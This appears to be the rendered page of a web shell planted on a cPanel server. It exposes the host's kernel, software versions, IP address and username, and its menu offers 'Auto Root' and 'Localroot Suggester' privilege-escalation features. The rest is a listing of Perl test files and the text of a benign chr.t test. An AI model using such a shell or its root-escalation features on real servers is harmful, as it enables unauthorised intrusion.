Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
t /
uni /
Delete
Unzip
Name
Size
Permission
Date
Action
attrs.t
5.1
KB
-r--r--r--
2014-12-27 11:49
bless.t
2.6
KB
-r--r--r--
2014-12-27 11:49
cache.t
1.05
KB
-r--r--r--
2014-12-27 11:49
caller.t
1.88
KB
-r--r--r--
2014-12-27 11:49
case.pl
3.14
KB
-r--r--r--
2014-12-27 11:49
chomp.t
1.9
KB
-r--r--r--
2014-12-27 11:49
chr.t
655
B
-r--r--r--
2014-12-27 11:49
class.t
2.18
KB
-r--r--r--
2014-12-27 11:49
eval.t
652
B
-r--r--r--
2014-12-27 11:49
fold.t
28.46
KB
-r--r--r--
2014-12-27 11:49
goto.t
836
B
-r--r--r--
2014-12-27 11:49
greek.t
4.15
KB
-r--r--r--
2014-12-27 11:49
gv.t
22.39
KB
-r--r--r--
2014-12-27 11:49
labels.t
1.66
KB
-r--r--r--
2014-12-27 11:49
latin2.t
5.19
KB
-r--r--r--
2014-12-27 11:49
lex_utf8.t
2.15
KB
-r--r--r--
2014-12-27 11:49
lower.t
274
B
-r--r--r--
2014-12-27 11:49
method.t
7.93
KB
-r--r--r--
2014-12-27 11:49
opcroak.t
1.1
KB
-r--r--r--
2014-12-27 11:49
overload.t
7.38
KB
-r--r--r--
2014-12-27 11:49
package.t
2.47
KB
-r--r--r--
2014-12-27 11:49
parser.t
5.6
KB
-r--r--r--
2014-12-27 11:49
readline.t
1.35
KB
-r--r--r--
2014-12-27 11:49
select.t
636
B
-r--r--r--
2014-12-27 11:49
sprintf.t
2.6
KB
-r--r--r--
2014-12-27 11:49
stash.t
9.66
KB
-r--r--r--
2014-12-27 11:49
tie.t
1.02
KB
-r--r--r--
2014-12-27 11:49
title.t
217
B
-r--r--r--
2014-12-27 11:49
tr_7jis.t
1.39
KB
-r--r--r--
2014-12-27 11:49
tr_eucjp.t
1.2
KB
-r--r--r--
2014-12-27 11:49
tr_sjis.t
1.21
KB
-r--r--r--
2014-12-27 11:49
tr_utf8.t
1.71
KB
-r--r--r--
2014-12-27 11:49
universal.t
3.57
KB
-r--r--r--
2014-12-27 11:49
upper.t
298
B
-r--r--r--
2014-12-27 11:49
variables.t
7.77
KB
-r--r--r--
2014-12-27 11:49
write.t
2.45
KB
-r--r--r--
2014-12-27 11:49
Save
Rename
#!./perl -w BEGIN { require './test.pl'; skip_all_without_dynamic_extension('Encode'); skip_all("EBCDIC") if $::IS_EBCDIC; skip_all_without_perlio(); } use strict; plan (tests => 8); no warnings 'deprecated'; use encoding 'johab'; ok(chr(0x7f) eq "\x7f"); ok(chr(0x80) eq "\x80"); ok(chr(0xff) eq "\xff"); for my $i (127, 128, 255) { ok(chr($i) eq pack('C', $i)); } # [perl #83048] { my $w; local $SIG{__WARN__} = sub { $w .= $_[0] }; my $chr = chr(-1); is($chr, "\x{fffd}", "invalid values become REPLACEMENT CHARACTER"); like($w, qr/^Invalid negative number \(-1\) in chr at /, "with a warning"); } __END__